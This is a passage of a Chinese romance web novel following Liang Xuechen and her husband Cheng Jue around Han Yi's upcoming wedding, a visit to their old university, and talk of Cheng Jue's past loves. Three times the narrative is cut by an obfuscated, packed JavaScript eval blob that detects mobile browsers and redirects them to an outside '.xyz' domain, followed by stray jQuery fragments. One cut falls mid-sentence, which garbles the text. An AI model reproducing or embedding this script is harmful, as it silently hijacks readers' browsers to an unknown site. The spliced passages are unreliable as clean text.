从花园开始,这个家就展现出明显的韩祎风格——大大的落地窗前是两棵去年刚移栽过来的、她最爱的白玉兰花树,上个月花开满枝头时,她发了不止一条朋友圈照片来表达内心的喜悦。 走进正门之后,放眼看去全都是韩祎喜欢的黄灰相间色系的小清新风格,墙上挂的两幅画是她闲时画的风景画。 她小时候学过几年的油画,长大之后一直保持着这个爱好。贺君昊对她的画作颇为崇拜,便将自己最喜欢的两幅装裱挂在了客厅。 厨房里都是韩祎用得最顺手的厨具,就算只是汤匙,也是她在各地旅游时淘来的她认为或有趣或漂亮的餐具。 看到这一切后,梁雪琛明白韩祎确确实实是这里的女主人了。 从米兰请来的名设计师和他的助理们将礼服挂成一排,婚礼的每个环节都有对应的穿着讲究。 对程珏来说最重要的一套自然是以兄长的身份牵着韩祎进场的礼服,他的身材不错,按照量好的尺寸自然不会有什么大问题。 稍作调整之后他便和贺君昊坐在沙发上喝茶闲聊等女人们换装。 广府人出嫁有戴金的习俗,贺君昊按照韩祎老家的风俗备齐了金戒指、金耳环、金项链、金吊坠和金手镯。 韩祎成年后和父亲的关系并不好,韩家也不赞成她的婚事,因此除了姑姑送的嫁妆之外再无其他,她的父亲也铁了心表明不参加婚礼的态度。 程珏为了不让韩祎难过,早早托老上海金铺打好一对金猪、八对龙凤金镯、一对金叵罗和一盒金币给她当作娘家的陪嫁礼。 韩祎试穿中式礼服时,手臂上戴满了金镯子,脸上露出承受不住重量的无奈表情。 景安安调侃道:“一一,婆家和娘家都拼命给你送金子的感觉是不是很开心,我真想体验一把,可惜没机会咯。” 韩祎回道:“等婚礼结束我就把这些镯子拿去熔了,用这些金子打个大大的长命锁送给我的干女儿,你要羡慕就羡慕你女儿去吧。” 景安安怀孕三个月,胎儿已经稳定下来了,陆安然总算可以疯狂在朋友圈发表即将为人父的快乐了。 韩祎在陆安然的朋友圈下评论,问他想要女儿还是儿子。景安安在下面秒回“女儿好,绝对是女儿”,似乎对孩子的性别十分有自信。 “孩子在我肚子里,我当然知道她是男的女的,这是一种心电感应。”景安安得意地炫耀,“等你们以后怀孕了,肯定也会感受到的。” 韩祎亲了一口躲黏在她身边的贺予馨,笑道:“馨馨就是我的宝贝女儿,有女儿的快乐我早八百年前就体会到了。” 贺予馨被亲得开心地笑了出来,然后跑到客厅找她爸爸去了。 韩祎忍不住叮嘱道:“馨馨,跑慢点,不要太着急。” 看着一脸幸福的韩祎,梁雪琛忍不住问道:“一一,你和贺君昊结婚,是因为你真的爱他吗?” “雪琛,你这话问的太奇怪了吧,现在都什么年代了,自由选择的婚姻当然是因为爱情。” 韩祎知道梁雪琛对贺君昊仍有诸多质疑,恐怕景安安也有相同的担忧。 她拉着相识十年的闺蜜们解释道:“你们放心,我不是因为什么奇奇怪怪的理由才打算办婚礼的,我们就是单纯地想给彼此一个被亲朋好友见证的誓言。他对我而言比想象中更重要,我也比我以为的更爱他。” 梁雪琛不合时宜地又问道:“和关磊比起来,你更爱贺君昊吗?” “这句话可别让君昊听到,要不他的醋劲没完没了了。”韩祎做了个嘘声的手势,并不介意梁雪琛的冒昧,“我也不知道我和关磊之间究竟有没有过爱情,也许只是从未安心得到过所以不甘呢。但无论如何,关磊对我来说是过去一段美好的回忆,仅限于过去。我的现在和未来,只有贺君昊。” 梁雪琛莫名红了眼眶,她也分不清是为了她曾经羡慕的热烈的爱情,还是为了韩祎终于走出了那段挣扎的过去,又或许是那句“自由选择的婚姻当然是因为爱情”的理所当然的定义。 那么她的呢,她的婚姻是自由选择的,她的婚礼也挣足了面子。 但梁雪琛越来越好奇,和程珏之间从未讨论过的爱情,也是他们之间产生羁绊的原因之一吗? 她暗自嘲笑自己年纪越大越不懂得知足,明明不是小女生了,还幻想着言情小说里虚无缥缈的爱情。 可爱情,是她真真切切感受到景安安和韩祎的幸福之后,越发渴望的东西。 景安安拥抱了韩祎,含泪道:“一一,我们相信你会很幸福的,但你也要答应我们,就算结婚了也不要把我们当成外人,以后不管发生什么都要第一时间告诉我们哦,我们永远站在你这一边。” 韩祎捏了捏她的脸,笑道:“好啦,是不是孕妇容易多愁善感呀。我们之间什么都不会变,除了下周我会有一个婚礼之外,一切都和之前是一样的。你也结婚啦,但我们还是和以前一样不是吗?” 景安安也觉得自己反应太夸张了,跟着笑了出来。 梁雪琛却觉得一切都不一样了。韩祎举行了婚礼,也等同于这段婚姻从有苦衷的假结婚,变成了牢不可破的事实。 韩祎亲口承认了她的现在只有贺君昊,那么梁雪琛曾经向往过的那些感情都成了虚无。 又或许,爱情原本就是个虚无的东西。 景安安晚上要回娘家崇明一趟,在试完姐妹礼服之后就被陆安然接走了。 程珏和梁雪琛在贺家吃了晚饭,晚饭后陪着韩祎和婚礼管家严小姐在书房里确认婚礼流程。 贺予馨晚上睡得早,而韩祎还有许多事情要处理,于是让贺君昊过去哄女儿睡觉。 程珏半年前为韩祎订制了一个足足重九百九十九克的手工金凤冠。前几天凤冠被贺予馨不小心弄掉了一条金流苏,韩祎把凤冠送回去修理,刚好在今天晚饭过后金匠让徒弟送了过来。 婚礼管家便提议道:“既然凤冠送来了,那就顺便试试嘛,万一有要调整的地方趁这几天还能再调一调。” 韩祎一听觉得有道理,让婚礼管家为自己简单梳妆。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071576|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凤冠上头时,所有人都被眼前的人美呆了。她的气质与凤冠的大气相得益彰,梁雪琛站在她的身边不由得自惭形秽。 婚礼管家满意道:“韩小姐您真漂亮。您有没有带有金色装点的簪子呀,如果有根合适的簪子把头发绾起来,一定会更漂亮的。” “金色的簪子是有几根的,只是现在这个凤冠戴着不太稳,我不敢乱动……小洁,你快过来,带严小姐到我房里去看看哪支簪子合适。” 韩祎叫来女佣小洁,让她带婚礼管家上楼选簪子。 婚礼管家答应道:“好的呀,要不梁小姐和我一起去吧,帮忙参谋参谋。” 与程珏和梁雪琛的房间单调的摆设不同,韩祎的房间充满了生活气息。 韩祎喜欢迪士尼玩偶,贺君昊喜欢高达模型,于是在这个房间角落的大大展示柜里,米老鼠和高达模型并排摆放在一起。 他们的床单和被套都是韩祎最喜欢的颜色,床前铺着的地毯也是她喜欢的波西米亚风格。 梳妆台在大大的衣帽间里,衣帽间的一整面墙被做成了透明的鞋柜,韩祎和贺君昊的鞋子各占一半,有条有理地摆放着。 梳妆台的两个抽屉里分别放着七八个大盒子,盒子里都是一支支单独放在小盒子里的簪子,几乎囊括当下流行的所有样式。 小洁把盒子一一打开,让严小姐先粗选一遍,再由梁雪琛决定是否可行。 “一一的簪子也太多了吧!”梁雪琛忍不住感叹,平时在公司确实也发现了,韩祎绾头发的簪子更换得很频繁,但从没想过居然有那么多。“我先把这些拿下去,你们再选几支吧,我都要眼花了。” 贺君昊对韩祎真的十分上心,连楼梯都在她住进来之后重新装潢了一遍,整栋房子的任何一个角落都有韩祎的审美。 梁雪琛边下楼边仔细看着屋子里的陈设和风格,内心忍不住又涌上一阵羡慕之情。 很小的时候她就梦想着总有一天能买下城里的房子,到时一定要按照自己的喜好进行装修。现在她有了自己买房的能力,但是似乎已经没了必要。 书房的大门打开着,韩祎坐在沙发上,程珏微微弯腰替她整理凤冠上的饰物。 “玉玉,我是不是最漂亮的新娘?” 梁雪琛在门外停下了脚步,她看到程珏背对着书房门。他呆呆地看了一会儿韩祎,然后俯下身轻轻抱住了那个美丽的新娘。 她听到程珏柔声说道:“你当然是最漂亮的新娘。还记得你十八岁生日的时候,让我陪你去拍的那个婚纱照吗?当时我就确定世界上不会再有哪个新娘比你更漂亮了。” “玉玉,我其实有点害怕,没有多少人看好我们。”韩祎抬眼看向程珏,她急需这个从小最信赖的大哥哥给她力量,“就连程妈妈也给我打了电话,告诉我她没法不考虑我父亲的感受,所以也不能来参加我的婚礼了。玉玉,我是不是一直都很任性?” 程珏放开韩祎,盯着她的双眼认真安慰道:“不是的一一,你一直都很乖,是他们不懂得珍惜。别害怕,我会一直陪着你,不管是从前还是以后,你可以一直去做你想做的事情,无论发生什么都有我给你善后呢。” 那一瞬间,就连梁雪琛也忍不住为这承诺而感动。 29. 第二十九章 初识 梁雪琛不知道别人看到自己的丈夫将其他女人拥入怀抱时,会有什么感受,但她知道她没有立场谈感受。 从第一天认识程珏的时候她就很清楚,对于他而言,韩祎永远是最特别的存在。 在美国读书时,韩祎随便一个电话就可以让程珏放下手上的一切,买最快的机票飞回国替她遮风挡雨,即使她并没有这样的意思,他也会这么去做。 程珏的前女友因此对韩祎产生诸多不满,这些堆积的怨气都是导致程珏分手的原因。 与程珏的前女友比起来,梁雪琛是算很幸运的了。因为她是韩祎的朋友,她被她放在了和程珏同样重要的位置上。 所以就算是为了韩祎,程珏也不会主动伤害梁雪琛。 “梁小姐,你怎么不进……” 婚礼管家从楼上下来,看到梁雪琛还站在门外时颇为不解。 梁雪琛赶紧打断了她的话:“我刚刚去上了个洗手间,刚回来你就下来了。” 书房里程珏听到外面的声音,坐回了韩祎对面的沙发上。 他看着两人一前一后地走进来,脸上没有任何波动,就像是刚刚什么事情都没发生过一样。 当然对于他而言,拥抱韩祎是习以为常的事情,确实不需要有什么波澜。 回程的路上,梁雪琛开车,程珏坐在副驾驶座上。 在梁雪琛又一次猛踩油门之后,程珏忍不住开口提醒道:“开慢点儿,你最近睡眠不够已经算是疲劳驾驶了,可别又超速行驶。” 梁雪琛没好气地回道:“那么担心我疲劳驾驶,刚刚你怎么不开车?” “因为我发现每次我开车的时候,你总喜欢往后座钻,那样和你聊天常常听不清你说什么,所以干脆你来开车呗。” 梁雪琛哼了一声:“没想到你还耳背啊。” 程珏漫不经心说道:“这里好像离你们学校很近,你们学校的樱花那么有名,如果你还不困的话我们过去看看?” 梁雪琛一个急刹将车子停在斑马线前面,前方黄灯刚好跳转红灯。 这个路口离学校大门很近,行人很多,红灯需要等一百五十秒。 她拉起手刹,像看什么奇怪生物一样盯着程珏:“程总是在跟我说笑吗,樱花是春天开的,和一一喜欢的玉兰花是差不多时间段的。请问现在是什么时候了?” 程珏遗憾道:“啊,那真是可惜了,之前就想进去看看来着,没想到今年又错过了。要不我们去北海道看?那里的樱花开得比别的地方更晚,等我查查花期是什么时候啊。” 梁雪琛脑子里都是刚刚程珏拥抱韩祎的画面,耳朵里都是他那句“不会再有哪个新娘比你更漂亮了”。她突然觉得心烦意燥,不再吭声。 “今年北海道的樱花大概是5月2日开始开花,持续一周左右。”程珏翻找着网上的新闻,“花期正好是一一婚礼过后,要不咱们3号飞一趟日本吧,你的签证到期了吗……到期也没关系,明天去办个加急的应该来得及。” 红灯变绿,梁雪琛一脚油门把车子开了出去,她的忍耐也到达了极限:“程珏,韩祎结的婚你跟着凑什么热闹度蜜月呢?” 程珏不明白梁雪琛哪里来的那么大的脾气,委屈道:“我们当时确实没什么时间出去玩,现在补一补也还来得及嘛。再说了一一婚礼之后就在江浙周边自驾两天,并没打算出国度蜜月啊……我们出国玩怎么又扯上她了呢?” 梁雪琛使劲往下踩了一脚,车子又一个急刹稳稳停在路边的停车位上。 前面是热闹的路边小摊,下了晚课的学生们涌出校园在小摊前买宵夜,欢声笑语不绝于耳。 梁雪琛熄火关窗,解开安全带,对程珏说道:“下车。” “什么?” “不是你说的想去我们学校看樱花吗,这里是南门,下车呀。” 梁雪琛先下了车,大步往南门方向走。 一路上都是从路边摊传来的香味,上大学的那些年她会在考试成绩还不错的时候,在南门右手边那个小摊上买一个一半青椒一半瘦肉的肉夹馍,当做给自己的奖励。 几年过去了,肉夹馍小摊依然摆在那里,生意变得更好了。 程珏追上去问道:“你不是说樱花的花期已经过了吗?” 樱花的花期其实有六十天,只不过其中的五十多天都是花苞期。单颗花骨朵仅有几天的盛放,然后就是绚烂的凋谢。 这种花从花开到花落都显得过于悲壮,早起坐在盛开的樱花树下,风吹来,片片花瓣落下,总让人有种抓不住时光的无力感。 因此梁雪琛对樱花既喜欢,又讨厌。 她最后一次拍下樱花的照片,是在方雨婷离世后不久的那个清明节。 当时校园的樱花盛放,她在天微微亮时跑了出去,在过去三年每一个樱花季里四人打卡的树下,拍下了日出前的樱花。 那也是她朋友圈里最后一次出现樱花,配文是方雨婷在樱花盛开时最喜欢读的诗句:年年岁岁花相似,岁岁年年人不同。 程珏见梁雪琛不答,又说道:“其实没有樱花也不要紧,在你们学校里散散步也挺开心的。我记得和你第一次见面,应该就差不多是这个季节吧,你们宿舍门前也有一棵樱花树。” T大樱花大道上两旁的樱花果然基本都掉落了,除了在小网球场旁边的两三棵晚樱还有不到一半的残败的花朵之外,其他的樱花树都抽出了绿色的枝条,那些新绿在路灯下有着别样的生机。 梁雪琛慢慢地走着,沿着樱花大道走到头,是她常常早起背单词的小花园。沿着花园往走左到尽头,就是她生活了四年的宿舍。 程珏静静地跟在她的身侧,直到走到了她曾经的宿舍楼前,两人一直沉默不语。 学校几年前对宿舍楼的外观重新进行了粉刷,宿舍楼的名字也重新换了烫金的字体。 旁边的单车棚没什么变化,另一边的长椅虽然位置不变,但是也重新刷了蓝色的油漆。 她们的宿舍在一楼,蓝色的长椅就正对着宿舍的窗子。宿舍里灯火通明,却看不见一个人影,女生们都赶在澡堂关门前出去洗澡了。 窗前仍然放着一张红木桌子,那张桌子还是十年前韩祎的姑姑为她们买的。大概是桌子的质量真的不错,那儿也方便几个小姑娘围坐在一起看书聊天,因此宿管或是后来的学生们都没有把桌子扔掉。 宿舍楼大门外的樱花树似乎又长高了些,程珏开心地指着那棵樱花树说道:“你看,我的记忆力果然挺好的。第一次来你们学校时,我就是在这棵樱花树下等一一,然后看到了你们和安安一起回来。我还记得那天你的心情不太好,我明明和你们都打了招呼,你却面无表情从我身边走过去了。” “没想到你还记得那么多啊,不过你的记忆力果然挺不好的。”梁雪琛顺着程珏手指的方向看向樱花树,“我第一次见你,可不是在那棵樱花树下。” 程珏露出疑惑的表情。不管怎么想,他都记不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071577|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在那之前还有什么机会见到过梁雪琛。 梁雪琛转身往樱花大道的方向回走,边走边回忆道:“应该是大三刚开学没多久的时候吧,当时一一的爷爷刚去世,她很难过。加上雨婷发现了关磊真正喜欢的人是一一,每天在宿舍发疯似的面对一一。一一连续好几天吃不下饭,最后得了急性肠胃炎。你知道吗,救护车是我叫的,那是我人生中第一次叫救护车。” 程珏当然记得在韩老爷子葬礼前后,他回国呆了很长一段时间,直到圣诞假期结束才返回美国。 他在T大附近租了房子,方便就近照顾韩祎。他试图让韩祎和他一起住在校外,但韩祎跟他说宿舍更方便就没有过去。 如果不是韩祎坚持住在宿舍,就不会因为急性超胃炎闹到需要叫救护车的地步。 但在这段清晰的记忆里,程珏完全想不起来梁雪琛出现在什么地方——他接到韩祎姑姑的电话赶去医院时,她的舍友们都已经回学校了。 梁雪琛从程珏的表情中看出他并没有记起来与她的第一次见面,但她反正已经习惯了在别人的世界里担任无关紧要的角色,因此也不恼,继续说道:“那天太晚了,周老师让我们早点回校休息。韩祎的姑姑告诉我们,晚上她的好朋友会来医院照顾她,让我们放心回去。于是我们等一一醒过来之后就走了,没想到刚出住院楼,我就被一个急匆匆跑进住院部的人狠狠撞了一下。” 程珏突然就想起来了,那天太着急,在住院部的门前撞到了一个女生。 当时他看到她的手被一旁用于维修台阶的施工用料划出了长长的一道口,血从伤口里涌了出来。如果是平时,他一定会认真将对方送去处理伤口,可那天实在太担心韩祎的病情了,他不想被其他事情耽误时间。 于是他借用咨询台的纸笔,把联系方式写在了一张便签纸上,交给了那个女生,让她的同伴先陪她去包扎伤口,后续无论多少医药费他一并承担就是了。 但后来那个被撞倒的女生一直都没有来找他赔偿医药费。 “原来那天晚上是你跟我撞在一起的!” 程珏恍然大悟。 梁雪琛白了他一眼:“什么叫‘撞在一起’呐,是你单方面撞我好吗!” 她伸出左手,露出拇指上细长的伤疤:“你看,那些小石子直接都刺进到我的手里了,快把我疼死才把它们清洗干净。第二天伤口还发炎了,现在仔细看还能看到这个伤疤呢。” 程珏愣道:“你没让医生处理伤口?” “那天我们急着跟救护车出门,身上又没带钱,后来手机也没电了,我和安安连打车的钱都没有,还得走路回学校。那我要怎么看病啊。” “回学校拿了钱之后再去看不行吗?” “回到学校之后发现自己能洗干净那些小石子,买几块钱的药水擦一擦也就不疼了。第二天发炎之后我到校医院换了药,没几天也就好了。校医院有医保,外面的医院不通过校医院转诊出去会很贵的。穷学生谁没事干自费在外面的医院白花钱呢。” 梁雪琛自嘲道:“穷人的惯性思维很可怕,别说是上大学的时候了,就算现在我也不敢毫无顾虑地花钱。” 看到那张纸条上苍劲有力地写着“程珏”两个字时,梁雪琛一下子就知道了那个人就是韩祎提到过无数次的好朋友。 为了手上一点点小伤打电话过去要医药费,未免显得太过矫情了。梁雪琛对别人尚且不会如此,何况对方是对韩祎而言最重要的朋友呢。 30. 第三十章 情史 “雪琛?”一个女人小心翼翼地在两人身后轻轻叫了一声。 梁雪琛转回头,看见来人的一瞬间脸色变得十分难看,甚至产生了拉着程珏就跑的冲动。 那个女人却似乎露出了惊喜的表情,上前拉住她的手寒暄道:“真的是你啊,我以为认错人了呢。好久不见了,雪琛。” 那人穿着一身暗紫色的连衣长裙,上身套着黑色的呢子大衣,手里拿着几本书,看上去一副老师模样的打扮。 梁雪琛不自在地甩开手,往后退了一步,冷冷道:“是啊,好久不见,我以为这辈子都不用再见到你了。” 对方露出尴尬的表情,勉强挤出一丝笑容,这才看到站在一旁的程珏,试探性地问道:“这位是……你的男朋友?” “你好,我是雪琛的丈夫。”程珏大大方方地自我介绍,“您是雪琛的同学吗?” “你结婚了!”她露出不可置信的表情,但很快意识到自己的失态,立刻调整情绪道:“您好,我叫洪雅文,是雪琛的好朋友,现在在T大环境学院任教。” 梁雪琛冷笑道:“好朋友?你指的是连我结没结婚都不知道的好朋友吗?不好意思啊,我想我不够资格当你的好朋友。” 洪雅文面色难堪地站着。 好在梁雪琛没给她太多不堪的时间,拉着程珏走了。 “哎,我说……”程珏心中有很多疑问,但还是任由梁雪琛拉着往校门口走,“刚刚那位,是你绝交了的曾经的好朋友?” “不是。” 两人又都沉默了。 往回走到樱花大道时,梁雪琛渐渐放慢了步伐。 “那个人是……”程珏仍然忍不住好奇心。 “她是资助我上高中的好心人的女儿,洪叔叔不放心她一个人到上海上学,所以我才跟着她报了T大的志愿。” “咦,你都跟着她报志愿了,这还不算好朋友吗?” 梁雪琛一言不发地往前走,程珏跟在她的身后,两人的影子在路灯的照射下交叠又消失,然后再交叠,循环反复,直到走过带着别样生机的樱花大道。 梁雪琛突然开口问道:“程珏,你希望我是怎样的人?” 程珏不明白她的意思,疑惑道:“怎样的人?你不就是梁雪琛吗,梁雪琛是怎样的人,你就是怎样的人。” “那你希望梁雪琛是怎样的人?温柔,善良,贤惠,聪明,还是很有工作能力……至少,你至少要对梁雪琛这个人有那么一丁点期许吧?” 程珏不明所以,笑道:“梁雪琛,你还总说我自恋呢,你听听你用来形容自己的褒义词可不要太多哦。” 梁雪琛没好气地按下电子锁,程珏便从她手里轻轻抢过车钥匙,率先打开了驾驶座的车门。 他指了指副驾驶的那一边,用不容商量的语气说道:“你就坐那里去。” 想了想,他补充问道:“还是说你想吃点夜宵再回去?” 已经是晚上十点钟了,校门外的小吃摊依然充满了烟火气。 这个时候出来排队买小吃的人大多都有伴,或是和恋人依偎在一起,或是和朋友们成群结队地打闹。 梁雪琛摇摇头,依照程珏的要求坐到了副驾驶座上。她不常坐这个位置,连座位的角度都是不舒服的,但她感到一阵疲惫,连调整座椅的力气也没有了。 她歪头靠着车窗,后视镜里校门外的喧嚣很快离开了她的视线。 “程珏,如果有一天你发现你看到的我都是伪装出来的,真实的梁雪琛,和你想象的完全不一样……你该怎么办呢?” 她本以为所有的阴暗面早已在程珏面前无所遁形,但洪雅文的出现才让她意识到,一直以来面对程珏做了太多伪装,以至于忘记了一些东西。 该怎么办呢——这个问题她是问自己的。 “你今天有点奇怪,不会是感冒了吧?” “程珏,我是认真的。你并不了解我,我的很多事情……我也说不上来,其实我也不了解我。” 程珏曾对她说过很多次的“我发现我真的不了解你”,每一次她都像个战斗鸡似的回怼:“了解我又没有任何好处”。 程珏想了想,反问道:“你觉得我想象中的梁雪琛是什么样子的?不服输、战斗力十足、总是充满活力、做事果断又自信,真实的你难道不是这样的吗?” 这一点梁雪琛没法反驳,这确实是她真实性格中非常闪耀的一面。 程珏继续说道:“我尝试了很多次想多了解你,是你一直在拒绝我的靠近。下一次你别再拒绝了,我不就可以了解你了吗?至于真实的梁雪琛和我印象的梁雪琛是不是完全一样,你又不是演员,如果这几年你在我面前展现出来的样子都是伪装,那么我建议你转行去拍戏,明年的最佳女主角非你莫属。” “可反过来说,我也不了解你,我们其实互不了解对方。” “你想知道我的什么事情就直接问啊,人长了一张嘴不就是为了说话吗?” 梁雪琛被程珏的语气逗笑了,他真的仿佛从来都没有烦恼,不管什么时候都能保持稳定的情绪,只除了偶尔被她故意的挑衅稍稍激起了脾气、以及母亲生病时无法压抑的焦虑。 一直以来她都非常羡慕他的性格,尤其在越发觉得自己无法控制情绪的时候。 遇见洪雅文引起的焦躁被慢慢平复下来,梁雪琛的语气也变得轻松:“是你说的哦,可别等我问了之后就后悔了——我想知道你谈过几次恋爱,最长的一段是哪次,最短的一段又是哪次,都是因为什么原因分手的。” 这些问题几乎是每个恋爱中的情侣都会互相一遍遍确认的内容,但梁雪琛从来都不敢问出口,只能趁着现在有些玩笑的气氛说了出来。 也许她也是随时可以问的,但是潜意识告诉她,他们并非正常的情侣。 程珏笑出了声:“梁小姐,您现在问这些问题还有什么意义呀?就算我告诉你,我曾经一年谈了三百六十五段恋爱,最长的是两天,最短的是半天,只要和你在一起之后我没脚踏过两只船,你现在也就没办法追究了吧。” “那我会把这件事当把柄,以后只要你敢对我说一句‘不‘,我就把旧账翻出来,当做弱者的武器。” 说完两个人都笑了起来,车厢内回到轻松愉快的氛围之中。 在互相闲聊的过程中,回家的路途竟前所未有地变得飞快。 半个小时后,车子稳稳停在了车库里。 赵叔听到他们回来的声音,出来打了个招呼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071578|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜已深,大家都休息了,一楼很快恢复了宁静。 程珏跟在梁雪琛的身后步行上楼,回家之后他们都不喜欢乘坐电梯。 因为担心吵到了江美玲,程珏把声音压得很低,几乎是贴着梁雪琛的耳朵说道:“我一共谈过三段恋爱,最长的一段是认识你之前的那一段,你也见过她。我和她从二十三岁那年在一起,到二十六岁那年结束。我们两家是世交,背景相似,所有人都认为我和她会走到最后。” 那段感情发生在美国,梁雪琛自然是知道的。 她也知道这段看似稳定的感情,最后匆匆收场的最主要原因是韩祎对程珏的重要程度让那个女生产生了不安,没有人能容忍另一半心里的小角落里,满满都是另一位异性。 后来女生认识了心里只装得下她的男生,果断掐断了这段将近三年的关系。 梁雪琛轻轻呸了一声:“你活该。” 程珏无奈地摆摆手,他确实要为这段不欢而散的感情负大半的责任。 梁雪琛又问:“她是你的初恋吗?” “不是。”程珏摇摇头,“我的真正意义上的第一段恋爱发生在二十二岁那年,她是我们公司一个普通部门组长的女儿。那时爸爸让我假期到公司实习,她放假时也在公司楼下的咖啡厅勤工俭学。我常常去买咖啡,于是就和她认识了。说起来她和你一样每天都有用不完的精力,是个特别骄傲的女孩。” 两人回到卧室,梁雪琛拉开窗帘透气。 潮湿的空气带着泥土和树叶的气息,处处都是暮春和初夏的踪影。 程珏脱下外套斜靠在沙发上,叹道:“该洗洗睡了,明天上班又有一堆会……你好像挺喜欢上班的,没有我这种烦恼。” 梁雪琛不理会他的调侃,追问道:“你还没说你为什么和你的初恋分开了呢。” 程珏沉思了一会儿,尽可能使用可以保留对方体面的语言:“是我太大条了,没有及时发现她隐藏在自信下的脆弱。我们在一起之后,她变得越来越小心翼翼,总是担心自己哪里做得不够好,总是问我她该怎么做才配得上我……” 他似乎又看到了那段美好又难过的过去,连语气都变得难过:“明明是平等的两个人,却用到了“配得上”这样的形容词,对彼此来说都是一种折磨。我看着她越来越痛苦,我也越来越不知所措。在这段关系里,我觉得窒息,但又害怕让她受伤,所以一直艰难维持了快一年的时间,最后还是在一周年纪念日前几天分手了。” 梁雪琛像是被什么抓住了心脏,变得窒息。她觉得她和程珏描述的那个初恋女孩有许多相似的地方。 这几年她一直避免让别人发现她的敏感脆弱,如果有一天程珏真的发现了她的真面目,大概会比二十二岁那年更不知所措吧。 “你怎么又走神了,今天你的状态确实不太对劲。要不要叫医生过来看看?”程珏伸出手掌在梁雪琛面前晃了晃。 “我哪有出神,我只是在考虑要不要继续听你的第三段感情故事。” 梁雪琛决定再嘴硬一回。 程珏的眼神变得更加怪异了:“第三段恋爱发生在我二十六岁那年,两年后我们就结婚了……这段感情你不是也挺熟的吗,还需要我给你再说一遍吗?”